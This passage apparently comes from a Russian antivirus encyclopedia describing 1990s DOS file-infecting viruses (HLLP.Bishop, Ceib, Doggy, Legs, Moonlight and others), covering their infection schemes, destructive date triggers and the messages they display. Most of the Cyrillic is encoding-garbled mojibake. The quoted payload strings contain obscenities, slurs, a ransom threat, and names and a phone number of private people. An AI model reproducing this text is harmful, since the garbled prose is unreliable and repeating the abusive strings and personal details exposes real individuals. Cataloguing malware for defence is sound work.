+1Ah), ïîñëå ÷åãî âûâîäèò òåêñò "Smokie3 virus,ÿ çàòåð Âàø ñåêòîð Âû,
ïîíÿëè ? Y/N". Òàêæå ñîäåðæèò òåêñò "Smokie3 (c) by N5 school Bishk".
HLLP.Bishkek.3990 èíîãäà âûâîäèò òåêñò "Smokie4 virus (v) by N5 school
BISHKEK" è ñîäåðæèò â ñâîåì òåëå òåêñòû "GoodTie error", "PordTons
VirBoy", "VirBoy in Bishkek".
HLLP.Bishop
Îïàñíûé âèðóñ. Âûâîäèò òåêñò:
*
* * * * * * *
* * * * *
* * * * * * *
* * * * * *
* * * * *
* * * * * *
* * * * * * * * * * * *
* * * * * *
* * * * * *
* * * * * * * * * * * * * * * *
* *
* *
H A T E T O A L L P E O P L E ! ! !
Ã-íà Äàíèëîâà ñ Íîâûì Ãîäîì è ñ Íîâûì Âèðóñîì,
óñïåõîâ â íîâîì ðàáî÷åì ãîäó !!!!
Press Enter For Continue
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º CopyRight : Bishop º
º Vir_Name : Bishop º
º Version : 1.01 º
º Effects : Yes º
º Danger : Yes º
º Speed : Small º
º VirLength : º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
HLLP.Ceib.4629, 5000
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. Íàïèñàíû íà Turbo Pascal â ôîðìàòå EXE-
ôàéëîâ è óïàêîâàíû óòèëèòîé LZEXE.HLLP.Ceib.4629 ñîçäàåò è óäàëÿåò ôàéë
C.EIB, HLLP.Ceib.5000 - ôàéë ñî ñëó÷àéíûì èìåíåì è ñ ðàñøèðåíèåì TMP,
âèäèìî, äëÿ ïðîâåðêè ðàçðåøåíèÿ çàïèñè íà äèñê. HLLP.Ceib.4629 òàêæå
ñîçäàåò ôàéë SV11, à HLLP.Ceib.5000 - òîò æå ñëó÷àéíûé ôàéë, â êîòîðûå
çàïèñûâàþò 4629 èëè 5000 áàéò âèðóñíîãî êîäà, à çàòåì çàïèñûâàþò
ñîäåðæèìîå íàéäåííîãî COM èëè EXE-ôàéëà-æåðòâû. Ïîñëå ÷åãî óäàëÿþò
èñõîäíûé ôàéë, à ôàéëó SV11 èëè ñëó÷àéíîìó ôàéëó ïðèñâàèâàþò èìÿ ôàéëà-
æåðòâû. Íå çàðàæàþò ñëåäóþùèå ôàéëû: NC.EXE, NCMAIN.EXE, IBMBIO.COM,
IBMDOS.COM,COMMAND.COM.HLLP.Ceib.5000 óñòàíàâëèâàåò ñëó÷àéíûå ñèñòåìíûå
äàòó è âðåìÿ. HLLP.Ceib.5000 ñîäåðæèò òåêñò:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦ Óâàæàåìûé Èãîðü Äàíèëîâ! ¦
¦Ìíå íðàâèòñÿ Âàø àíòèâèðóñ¦
¦Dr.Web,íî ÿ ðàçî÷àðîâàëñÿ,¦
¦êîãäà îáíàðóæèë,÷òî Dr.Web¦
¦3.01 íåïðàâèëüíî ëå÷èò ìîé¦
¦âèðóñ SV11(HLLP.Ceib.4629)¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
Äî âñòðå÷ !
È, äåéñòâèòåëüíî, âñå âåðñèè ïðîãðàììû Dr. Web äî âåðñèè 3.09
íåêîððåêòíî ëå÷èëè íåêîòîðûå ôàéëû, èíôèöèðîâàííûå äàííûì âèðóñîì.
HLLP.Chs.6549
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Óïàêîâàí DIET. Â ñóááîòó è âîñêðåñåíüå
ìîæåò íàòâîðèòü âñåâîçìîæíûõ "ïàêîñòåé": çàìåäëèòü êëàâèàòóðó,
óíè÷òîæèòü ñîäåðæèìîå CMOS, âûâåñòè ñîîáùåíèå,...
I know, you don't like me and my deeds...
HLLP.ChSU
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Óïàêîâàí LZEXE. Óäàëÿåò ôàéëû *.MS?.
Ñîäåðæèò òåêñòû "Quick Fuck virus from ChSU version 1.0", "Cheboksary -
95".
HLLP.Daemon
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ìîæåò âûâåñòè îäíî èç íèæåñëåäóþùèõ
òåêñòîâ â ðàìêå, êîòîðàÿ ñòîèò â ñïèñêå ïåðâîé:
ÉÍÍÍÍÍÍ Exception error 666 at ÍÍÍÍÍÍÍ»
º º
ÈÍÍÍÍÍÍÍÍÍÍÍ Press RESET to continue ÍÍÍÍÍÍÍÍÍÍͼ
Daemon's Gate virus v1.666
Attention! Your Hard Disk is RADIOACTIVE!
(Missing light magenta ribbon in printer!
In case mistake, call GHOST BUSTERS
Insert tractor toilet paper into printer.
Warning! Your mouse has some virus!
Disconnect your mouse, there are some cats!
Water detected in Co-processor
I am hungry! Insert HAMBURGER into drive A:
NO SMOKING, PLEASE! Thanks.
End of worktime. Turn off the computer.
Processor Pentium Pro 200MHz not found.
18Gb free disk space not found.
512Mb extended memory not found.
16Mb TRIDENT VGA video card not found.
Invalid user.
Send this to Danilov. He know what to what.
Insert new user into drive C:
Processor not found.
What is it ? I know. This is fuck.
Error. Can't fuck keyboard.
L O S E R ! ! !
Fuck you later !
User is LOH
Çàëèïàíèå êëàâèàòóðû !
Âåíòèëÿòîð çàùèùåí îò çàïèñè !
CPU ìåðòâ, à FPU íå çàâîäèòñÿ.
 äèñêîâîäå A: äâå äèñêåòû !
COMMAND.COM óìåð !
Ïëîõîé ìîòîð detected !
Ïðîáîèíà â äèñêå C:
It's time to save your non-saved work,
because you have only ?? seconds left ?
Say bye-bye to your non-saved data
HLLP.Dekas
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Óäàëÿåò *.DOC è *.TXT ôàéëû, çàïèñûâàÿ â
íèõ ïåðåä óäàëåíèåì ñëîâî "Dekas".
HLLP.Destroy
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Óïàêîâàí LZEXE.  ôàéëû: DIRINFO,
*.PAS, *.BAS, *.ASM, *.BAT. *.ME, *.DIZ çàïèñûâàåò ðàçëè÷íûå òåêñòû,
ñîäåðæàùèå íåöåçóðíûå âûðàæåíèÿ.
HLLP.Doggy.6202, 6606, 6667, 6685, 6686, 8421, 9535
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. Óïàêîâàíû WWPACK. HLLP.Doggy.9535
ñîñòîèò èç âèðóñà HLLP.Doggy.6202 è íåêîé "çàãëóøêè" äëèíîé 3333 áàéò.
Ïðè ñòàðòå "çàãëóøêà" ñîçäàåò ôàéë SWAP.$$$ êóäà çàïèñûâàåò 3333 áàéòà
ñâîåãî êîäà, çàòåì îíà óäàëÿåò ñâîé êîä (3333 áàéò) èç ñòàðòîâàâøåãî
ôàéëà è çàïóñêàåò ýòîò ôàéë, êîòîðûé ñîäåðæèò êîä âèðóñà
HLLP.Doggy.6202. Ýòîò âèðóñ ïðîèçâîäèò ïîèñê *.EXE-ôàéëîâ è èíôèöèðóåò
èõ ñâîèì êîäîì (6202 áàéòà). Ïîñëå ÷åãî âèðóñ HLLP.Doggy.6202 ÷èòàåò
3333 ïåðâûõ áàéòà èç óæå òîëüêî ÷òî èíôèöèðîâàííîãî EXE-ôàéëà è
çàïèñûâàåò èõ â êîíåö ýòîãî ôàéëà. Ïîñëå ÷åãî HLLP.Doggy.6202 ïûòàåòñÿ
ïðî÷èòàòü 3333 áàéòà "çàãëóøêè" èç ôàéëà SWAP.$$$ è çàïèñàòü èõ â
íà÷àëî èíôèöèðóåìîãî ôàéëà. Åñëè æå ïðîèçîéäåò îøèáêà ÷òåíèÿ èç ôàéëà
SWAP.$$$, òî äàëåå èíôèöèðîâàííûé ôàéë ñìîæåò çàðàæàòü ôàéëû êîäîì
âèðóñà HLLP.Doggy.6202, íî ïî îêîí÷àíèè ðàáîòû, êàê ïðàâèëî, òàêèå
ôàéëû áóäóò "âåøàòü" ñèñòåìó. 28 ÷èñëà ìíîãèå âèðóñû âûâîäÿò òåêñòû:
HLLP.Doggy.6606:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦Happy Birthday Good Doggy! I think you will ¦
¦be glad to read this. I wish you to have ¦
¦a very good girl, much money and very good ¦
¦health. Don`t drink too much and don`t smoke! ¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
P.S. Dr. Danilovv! You Web doesnt detect Pascal!
HLLP.Doggy.6686:
HAPPY BIRTHDAY! GOOD DOGGY! WE WISH ALL THE BEST!
Our 3d version of GDB (GOOD GODDY`s BIRTHDAY) !!!!
HLLP.Doggy.8421:
SHUTKA GLUPISHI !
Today is ÃÓÓÄ ÄÎÃÃÈ's ÁÈÐÇÄÝÉ !!!
superskie igrushki: Zuganov - borodavka
super digger acade voleybol
Wi mojete ih kupit besplatno na beloye pivo bbs
zvoniti nam vsegda!!! ass-hole
etu programu napIsal KHARITONOV SASHKA
+7 (095) 135-62-53 (sasha)
ÒÎËÜÊÎ äëÿ âèðìýéêåðîâ -> ó ìåíÿ ÀÎÍ
Ja nichego voobshe ne bous! Mne 7 let, ja talant!!
gorod moskva, storona zugoslavia ...
ÚÄÄÄ ÕÀÐß ÄÄÄÄÄÄÄĬ
¦Äàíèëîôô ïðèâet! ¦
¦ß ïðîñòî ïðèêàëûâàþñü ñ ìîåé igrushkou! ¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
íàì êîíåøíî íðàâèòñÿ âåá, íî îí òîðìîçèò!
ËÎÕèíñêàé! íåóæåëè òû äîñèõïîð íå ìîçåøü ìîéïàòü èâàíõàëüô?
Êàê íàñ÷åò exterface äëÿ ëîçàòåñòà?
à òîì ýòîò ÍÅÃÐ Ñ ÁÅËÛÌÈ ÁÓÊÀÌÈ!
ïðèâåò ÊÑÏÅÐÌÀ IVGENYJ!
izvini chto tak nazivau, ïðîñòî ó òåáÿ prikolíàÿÿ ôàìèëèÿ!
mOGU POJERTVOVAT NA PIVO BBS 100 $$$$ B/W DOLLAROV
PRESS ENTER>
=-=-=-=-=-=-=-=-=
ÊÒÎ íå çîàïîëíèò àíêåòó, òîò ÏÈÄÎÐ ÃÎÐÁÀÒÛÉ!
ËÎÇ, âîéäè íà ñâîþ BBS ïîä èìåíåì MUDILA VATNY
è íàïèøè ïàðîëü = GGGGGGG
ÒÀÌ ÄËß ÒÅÁß ìàëåíüêèé ñþðïðèçå!!!
À ÒÅÏÅÐÜ ÀÍÊÅÒÀ :
1. Èìÿ, ôàìèëèÿ, îò÷åñòâî ÅËÜÖÈÍÀ ÁÎÐÈÑÀ ÍÈÊÎËÀÅÂÈ×À
2. êàê íàçâàåòñÿ ñàìûé ***âûé àíòèâèðóñ:
a) AIDSTEST
á) PIDRTEST
v) LOZATEST
3. Êòî êîãî ïîðîäèë?
à) ÊÑÏÅÐÌÀ âñåõ
á) ëîç Äàìíèëîôô
4. ÎÒÊÓÄÀ ÂÇßËÑß ÄÀÌÍÈËÎÔÔ?
À) ËÎÇ ÍÀØÎË ÅÃÎ Â ÊÀÏÓÑÒÅ
á) ÅÃÎ ÏÐÈÍÅÑ ÀÈÑÒ
Â) ËÎÇ ÅÃÎ ÊÓÏÈË Â ÌÀÃÀÇÈÍÅ
PRESS ENTER===>
BEST GAMES: WARCRAFT 2
BEST DEMO: MS-SUXX
ÈÍÒÅÐÅÑÍÎ, ÂÑÒÀÂßÒ ËÈ ÝÒÈ ×ÓÂÀÊÈ ÝÒÎÒ ÂÈÐÓÑ Â ÑÂÎÈ ÂÈÐËÈÑÒÛ
ÇÄÅÑÜ ×ÀÑÒÈ×ÍÎ(à ìîæåò è î÷åíü ñèëüíî) ÇÀÄÅÒÎ ÈÕ ÑÀÌÎËÞÁÈÅ....ÏÎÑÌÎÒÐÈÌ
WITH KINDEST REGARDS, YOURS KHARITONOV SASHKA
PRESS ENTER to format your disk
HLLP.Doggy.6667 âûâîäèò ñëåäóþùèé òåêñò 14 ôåâðàëÿ:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦**************************************** ¦ FUCK OFF TO
¦Ýëëà ******** !!! Òû ñàìàÿ êðàñèâàÿ!!! ¦ ÀÔÎÍÈÍ ÀÍÒÎÍ
¦Òû îñòàíåøüñÿ â ìîåé ïàìÿòè íàâå÷íî..... ¦ ÕÀÐÜÊΠÑÀØÀ
¦1996 ãîä, ëàãåðü "Ìèðíûé", 2 ñìåíà, 3 îòðÿä ¦ ÃÎËÓÁÊÎÂ ËÅØÀ
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ ÐÆÀÍÛÕ ÀÍÄÐÅÉ
ÜÜÜÜÜÜ ÜÜÜÜÜÜ ÜÜÜÜÜÜ Ü Ü Ü
ÜÛÛÛÛÛÛÛÛ ÛÛÛÛÛÛÛÛÜ Û Û Û Û Û Û Û
ßÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛß ÜÜÜÜÜÛ Û Û Û Û Û Û
ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ Û Û Û Û Û ÛßßßßßÛ
ßÛÛÛÛÛÛÛÛÛÛÛÛß ßßßßßß ß ß ß ß ß ß
ÛÛÛÛÛÛÛÛÛÛ you will live in my heart
ßÛÛÛÛÛÛß forever
ßÛÛß
Çâåçäî÷êàìè (*) â äàííîì ñîîáùåíèè çàìåíåíû ôàìèëèÿ è êîîðäèíàòû
äåâóøêè, êîòîðîé áûë ïîñâÿùåí äàííûé âèðóñ. Ýëëà ïîïðîñèëà ìåíÿ óáðàòü
ýòè ñòðîêè èç äàííîãî îïèñàíèÿ. Âèäèìî, åé íå î÷åíü ïîíðàâèëàñü ëþáîâü
ãîñïîäèíà Õàðèòîíîâà Àëåêñàíäðà.
HLLP.Doggy.6685 3 ÷èñëà âûâîäèò ñëåäóþùèé òåêñò:
X-PROXET Labs Presents "MegaDeth V1.0" (C) 1996 January-February
Û Û ÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛ ÛÛÛÛ ÛÛÛÛ ÛÛÛÛÛ Û Û (C) MegaDeth Live
ÛÛ ÛÛ Û Û Û Û Û Û Û Û Û Û (C) 1996 St. Peterburg
Û Û Û ÛÛ Û ÛÛ ÛÛÛÛÛ Û Û ÛÛ Û ÛÛÛÛ By SMACKMAN & Stryker
Û Û Û Û Û Û Û Û Û Û Û Û Û
Û Û ÛÛÛÛ ÛÛÛÛ Û Û ÛÛÛÛ ÛÛÛÛ Û Û Û
MegaDeth 94 Youthanasia
MegaDeth 95 Hidden Treasures
MegaDeth 96 Peace Sells... But who's buying
HLLP.Doggy.6202, 9535 5 ÷èñëà âûâîäèò òåêñò:
------------------------------------------
ZAK Virus V1.0 Beta Pre-release shareware
--- Copyright (C) 1996 ------------------
Èìåþò òàêæå òåêñòû:
HLLP.Doggy.6606:
GOOD DOGGY`S BIRTHDAY VIRUS V3.0
St. Peterburg (C) 1996 May
Written in PSCVG V2.1 by Robocop
-------------------------------------------------
Especially for GOOD Doggy from Robocop!
Onyx is dead, I can`t beleive it. Fucking Skins!
Bad command or file name
DOG!
HLLP.Doggy.6667:
Ýëëà
HLLP.Doggy.6685
(C) 1996 X-PROXET Labs, St. Peterburg
MegaDeth V1.0
-=-=-=-=-=-=-=-
MegaDeth Live
MD96
HLLP.Doggy.6686:
(C) 1996 GDB V3.0 X-PROXET Labs, St. Peterburg
Written by Dwarven-Mike and Robocop
Happy birthday, Good Doggy!
Dear Doggy, we wish you to spend this holiday very nice!
We wish your parents to present you nice modem & upgrade!
We wish you eat a lot, drink smth and fuck smb as a real
enjoyment!
Yours, X-PROXET
Dwarven-Mike, Robocop, Kharitonov Alexander, SMACKMAN,
Scat-J, NightRider, PollutionPreventer, Swat, Skinhead,
Stryker, Verenia and newcomers.
Enjoy!
X-PROXET Best Pascal Program Club (C) 1992-96 SMACKMAN
Bad command or file name
DOG3
HLLP.Doggy.8421:
GOOD DOGGY`S BIRTHDAY VIRUS V2.0
-----------------------------------
Pascal Source Code Virus Generator (C) 1995
(C) 1996 February by X-PROXET labs
St. Petersburg
PROGRAMMING GROUP:
Funny text by Kharitonov Alexander
Generator written by Dwarven-Mike (C) 1995 December
Work & modification by SMACKMAN (president of X-PROXET)
Distributors: Scat-J, Robocop, PollutionPreventer
------------------------------------
Happy birthday GOOD DOGGY!
I think you will like this virus and text
(C) 1996 SMACKMAN (press enter)
Bad command or file name
BUT why?
åæèê
HLLP.Doggy.6202, 9535:
Ýëëà! ß ëþáëþ òåáÿ!
Bad command or file name
ZAK
HLLP.Feci
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñò "ËÄÏÐ - ÍÀØ ËÈÄÅÐ!!!
=== Feci Quod Potui, Faciant Meliora Potentes".
HLLP.FireLove
Îïàñíûé íåðåçèäåíòíûé âèðóñ. 18 ÷èñëà ìåñÿöà óíè÷òîæàåò ñîäåðæèìîå 500
ñåêòîðîâ äèñêà C:. Ñîäåðæèò òåêñò "Virus [Fired Love 10217] Version
1.0...! By L.S.Y.".
HLLP.Forever
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. 23 ÷èñëà âûâîäèò òåêñò:
This is not a virus, not a trojan horse and not a logic bomb!
This is love, love forever!
Dear Maria I LOVE YOU !!!
I LOVE YOU! I LOVE YOU!
GROSSER & TAPEWORM & GURRE!
Press a key to continue
Ñîäåðæèò òåêñòû "Disk is write-protected", "Lena", "Ira", " Diana",
"Natasha", "Polina", "Tanya", "Olya", "Marina", "Maria","Katya","frv1".
HLLP.Frontier
Îïàñíûé íåðåçèäåíòíûé âèðóñ. Óïàêîâàí óòèëèòîé AINEXE.Ñîäåðæèò îøèáêè.
Ïûòàåòñÿ ñîçäàâàòü íà âñåõ äîñòóïíûõ äèñêàõ ôàéë VICIOUS, ïîñëå ÷åãî
óäàëÿåò åãî. Èçìåíÿåò ñèñòåìíóþ äàòó è âðåìÿ. Èìååò òåêñò "frontier".
HLLP.Grosser
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Óïàêîâàí óòèëèòîé WWPACK. Ñîäåðæèò òåêñò:
GROSSER V3.0 , GROSSER & GOOD DOGGY ARE COOL GUYS! RULEZ!
MANY GREETINGS TO GURRE AND OTHERS
Note: TAPEWORM is no longer TAPEWORM
He is GOOD DOGGY now - NOW IT IS TIME TO GREET ALL FRIENDS (BOYS):
Granov Ilya, Ivan Dmitriev, Oryol Vladimir, Alex Fomin,
Gavrilov Ivan, Stupnikov Yaroslav,Tom Funikov,
Shishkin Vova, Alex Senin, Alex Bezyazichni,
Kirill Skobelev, Alexander Morozov, Maxim
Chudnov, Igor Voloshin, Pual Kobilchak,
Mike Funikov, .. the list will never end
AND MANY GREETINGS TO GIRLS (ESPECIALLY ELLA):
Loginova Polina, Soboleva Ella, Natasha Kulesh,
Lena Pronina, Katya Kiryanova, Masha Gromova,
Diana Kemularia, Irina Fionova, Alina Mikhailova
... and so on
Antivirus writers:
Igor Daniloff, Dmitry Lozinsky, Eugene Kaspersky,
Dmitry Mostovoy and others...
GREETINGS TO MUSIC GROUPS:
METALLICA, MEGADETH, SLAYER, SEPULTURA,
JIMI HENDRIX, DEEP PURPLE, NIRVANA, BEATLES, RED HOT CHILLI PEPPERS
ICE-T, ONYX, HOUSE OF PAIN, ICE CUBE, TONE LOC, PUBLIC ENEMY
ARRESTED DEVELOPMENT, KRISS KROSS AND OTHERS
AND NOW... IT IS TIME FOR FUCKS:
MANY FUCKS TO:
KORZIN OLEG, AFONIN ANTON, HARKOV SASHA, RJANIH ANDREY
prikL: Äàííîå ïðîèçâåäåíèå ÿâëÿåòñÿ âûäóìêîé àâòîðà !
Ëþáûå ñîâïàäåíèÿ ñëó÷àéíû
HLLP.Grunt
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Óïàêîâàí LZEXE. 16 ÷èñëà çàïîëíÿåò ýêðàí
òåêñòîì "ÅËÜÖÈÍ - ÏÐÅÇÈÄÅÍÒ!!!". Ïðè çàðàæåíèè ôàéëîâ ñîçäàåò âðåìåííûé
ôàéë grunt.swp. Ñîäåðæèò ñòðîêó "School 1279".
HLLP.Happy
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Åñëè ïî îêîí÷àíèè ðàáîòû âèðóñà, êëàâèøà
Alt - íàæàòà, òî âèðóñ âûâîäèò òåêñò "DON'T WORRY, BE HAPPY !". ÿíâàðå
äî 14 ÷èñëà âûâîäèò òåêñò "HAPPY NEW YEAR !".
HLLP.Hello (1,2)
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. Ñîäåðæàò òåêñòû "3-50-41", "HELLO! I"m
virus !!!".
HLLP.Inna.5260
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Íàïèñàí íà Turbo Pascal â ôîðìàòå EXE-
ôàéëà è óïàêîâàí óòèëèòîé PKLITE 1.12. Ïðè ñòàðòå âèðóñà, îí ïðîèçâîäèò
ïîèñê è çàðàæåíèå EXE-ôàéëîâ, óäàëÿåò âèðóñíûé êîä èç ñòàðòîâàâøåé
ïðîãðàììû, çàïóñêàåò åå íà âûïîëíåíèå, ïîñëå ÷åãî çàðàæàåò âíîâü. Â
ïåðèîä ñ 10.00 äî 18.00 âûâîäèò òåêñò:
ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
º Ñýð Ëîçèíñêèé ! º
º ß î÷åíü îáèæåí òåì, ÷òî âû îòíåñëè º
º âèðóñ INNA 2.4 ê ñåìåéñòâó Pascal. º
º Ïðîøó îòíåñòè åãî ê ñåìåéñòâó INNA. º
º Äî ñêîðûõ âñòðå÷. º
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ
1 ñåíòÿáðÿ òàêæå âûâîäèò åùå îäíî ñîîáùåíèå:
ÚÄÄÄÄÄÄÄÄÄÄÄÄÄĬ
¦ Virus INNA ¦
¦ Version 2.5 ¦
ÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
HLLP.Izvrat
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Óïàêîâàí PKLITE. Ñêðûâàåò ïðèðàùåíèå äëèíû
èíôèöèðîâàííûõ ôàéëîâ. Ñîäåðæèò çàøèôðîâàííûå òåêñòû:
Izvrat v3.1beta (cl) Dirty Nazi
Stealth Group World Wide
Thanks Int O`Dream & Borland
Happy birthday, Dirty Nazi!
Ó êaæäoão èç íac áûòü ìoãyò paçíûe õoäû, ío öeëü y íac eäèía...
Koãäa ÿ yìep, íe áûëo íèêoão, êòo áû ýòo oïpoâepã... AidsTest. :)
Abnormal program termination
HLLP.Jojo
Íåîïàñíûé ðåçèäåíòíûé âèðóñ. Ñîäåðæèò òåêñòû "JOJO LOVE SAM", "at",
"Pamantasan Ng Lungsod Ng Maynila v1994", "PLM 90-07-077".
HLLP.Kasf
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Óíè÷òîæàåò ôàéëû ñ ðàñøèðåíèÿìè BAK,
PAS, MCD è ASM. Ñîçäàåò è óäàëÿåò ôàéë Kasf, çà êîòîðûé è ïîëó÷èë ñâîå
íàçâàíèå.
HLLP.Krile.5831, 5880
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. Óäàëÿþò ôàéëû anti-vir.dat, chklist.ms,
chklist.cps. Ñîäåðæàò òåêñòû:
HLLP.Krile.5831:
[þKRiLEþ] v1.0e - RAiD UsA [SLAM]
Command|staRt|emm386|mscdex|explorer|mouse|smartdrv|setver|dos4gw
HLLP.Krile.5880:
"þKRiLEþ v1.0c - When will u learn AV? (c) by RAiD UsA [SLAM]97
Command|staRt|emm386|mscdex|explorer|mouse|smartdrv|setver|dos4gw
HLLP.Legs.6988, 7000 (1,2), 7234
Îïàñíûå íåðåçèäåíòíûå âèðóñû. Óïàêîâàíû óòèëèòîé PKLITE. Åñëè çíà÷åíèå
ìèíóò ñîâïàäàåò ñî çíà÷åíèåì ñîòûõ äîëåé ñåêóíä, òî âèðóñû
HLLP.Legs.7000 (1,2) óñòàíàâëèâàþò ðàçìåð èíôèöèðîâàííîãî ôàéëà ðàâíûì
666 áàéòàì,çàïèñûâàþò â íà÷àëî ýòîãî ôàéëà òåêñò "DEATH ON TWO LEGS Was
Here !!" è âûâîäÿò ýòîò æå òåêñò íà ýêðàí.HLLP.Legs.7234 ïðè ñîâïàäåíèè
çíà÷åíèÿ äíÿ è ìåñÿöà, à òàêæå ïðè ñîâïàäåíèè ìèíóò è ñîòûõ äîëåé
ñåêóíä, ïûòàåòñÿ îòôîðìàòèðîâàòü æåñòêèé äèñê è âûâîäèò íà ýêðàí òåêñò:
DEATH ON TWO LEGS v2.7
(c) Black Scorpion
Moscow-1995
Òàêæå HLLP.Legs.7234 ïðîèçâîäèò îáíóëåíèå ðàçìåðà ôàéëîâ, òðåòèé áàéò
êîòîðûõ èìååò çíà÷åíèå 0DAh.
HLLP.Maniac
Ñîäåðæèò òåêñò "POZDROWIENIA Z J.GORY OD `Maniac v.3.0`".
HLLP.Metal.7929, 13040
Íåîïàñíûå íåðåçèäåíòíûå âèðóñû. HLLP.Metal.7929 óïàêîâàí PKLITE, à
HLLP.Metal.13040 çàøèôðîâàí ñ ïîìîùüþ êàêîé-òî ôàéëîâîé çàùèòû. Åñëè
âèðóñû ñòàðòóþò èç èíôèöèðîâàííîé ïðîãðàììû AIDSTEST.EXE, òî îí âûâîäÿò
ñîîáùåíèå "È âîò ÿ â Aidstest-å !!! Õà-Õà-Õà", åñëè èç WEB.EXE - òî
"Ïðèâåò Èãîðþ Äàíèëîâó ...". Òàêæå ìîãóò âûâîäèòü òåêñòû "Áåç ïàíèêè
!!!", "Programm Header error !!!".HLLP.Metal.7929 âûâîäèò èíîãäà òåêñò:
METALOLOM-VIRUS Version 3.0 (c) Clug
HLLP.Metal.13040 â ïîíåäåëüíèê â ìàå, èëè â ñóááîòó, èëè 25 ÷èñëà
ìåñÿöà âûâîäèò ñëåäóþùåå ñîîáùåíèå:
Âàì ïðîôåññèîíàëëû ïîñâÿùàåòñÿ...
Äàííûé âèðóñ íàïèñàí ....... äîãàäàéòåñü ñàìè êåì !!!!!!!
Åñëè Âû íå ïåðå÷èñëèòå 100 $ â ïîëüçó ãîëîäàþùèõ äåòåé Àôðèêè òî Âàø
æåñòêèé äèñê áóäåò óíè÷òîæåí !!!
Âûêëþ÷àòü êîìïüþòåð ÿ Âàì íå ñîâåòóþ òàê-êàê âñå DBF ôàéëû íàõîäÿòñÿ
â XMS ïàìÿòè, à ñ äèñêà âðåìåííî ñòåðòû ! Òàê-÷òî ïîäóìàéòå !!!
---------------------------------------------------------------------
Ó Âàñ åñòü 48 ÷àñîâ ïîòîì ÿ âûçîâó ïåðåçàãðóçêó è Âàøè ôàéëû áóäóò
ÓÍÈ×ÒÎÆÅÍÛ !!!
Âðåìÿ ïîøëî ...
2880 ìèíóò
HLLP.Moonlight.4389
Î÷åíü îïàñíûé íåðåçèäåíòíûé âèðóñ. Íàïèñàí íà Turbo Pascal â ôîðìàòå
EXE-ôàéëà è óïàêîâàí óòèëèòîé DIET. Â COM-ôàéëû, à òàêæå â ôàéë
C:\IO.SYS èëè â C:\IBMBIO.COM çàïèñûâàåò 5 áàéò ïåðåäà÷è óïðàâëåíèÿ
â BIOS íà ïðîöåäóðó ïåðåçàãðóçêè. Çàðàæàåò EXE-ôàéëû, ñîçäàâàÿ ôàéë
IMMAGE.PCX, çàïèñûâàÿ â íåãî êîä âèðóñà, êîïèðóÿ êîä EXE-ôàéëà. Ïîñëå
÷åãî îðèãèíàëüíûé EXE-ôàéë óäàëÿåòñÿ, à ôàéëó IMMAGE.PCX ïðèñâàèâàåòñÿ
åãî èìÿ. Íå çàðàæàåò ïðîãðàììû ADINF, ADINFEXT, AIDSTEST, DRWEB, SCAN.
Ïî îêîí÷àíèè ðàáîòû âèðóñ âûâîäèò òåêñò:
Data error reading drive C:
Abort, Retry, Ignore, Fail?
Ïðè íàæàòèè íà "A" âèðóñ çàêàí÷èâàåò ðàáîòó, íå îòäàâàÿ óïðàâëåíèå
ïðîãðàììå-âèðóñîíîñèòåëþ. Ïðè íàæàòèè íà "R" âèðóñ ïîâòîðÿåò ñîîáùåíèå
ïðî îøèáêó. Ïðè íàæàòèè íà "I" ïðîèçâîäèòñÿ ïåðåçàãðóçêà ñèñòåìû. Ïðè
íàæàòèè íà "F" âèðóñ âûâîäèò òåêñò "Fail on INT 24" è âûõîäèò â DOS.
Ñîäåðæèò òåêñò "Copyright(c)95 Moonlight Productions.".
HLLP.Myxa
Íåîïàñíûé íåðåçèäåíòíûé âèðóñ. Ïðè ñîâïàäåíèè çíà÷åíèé ìåñÿöà, äíÿ è
äíÿ íåäåëè (íàïðèìåð, ïåðâîãî ÿíâàðÿ â ïîíåäåëüíèê è ò.ä.) èíîãäà ïîñëå
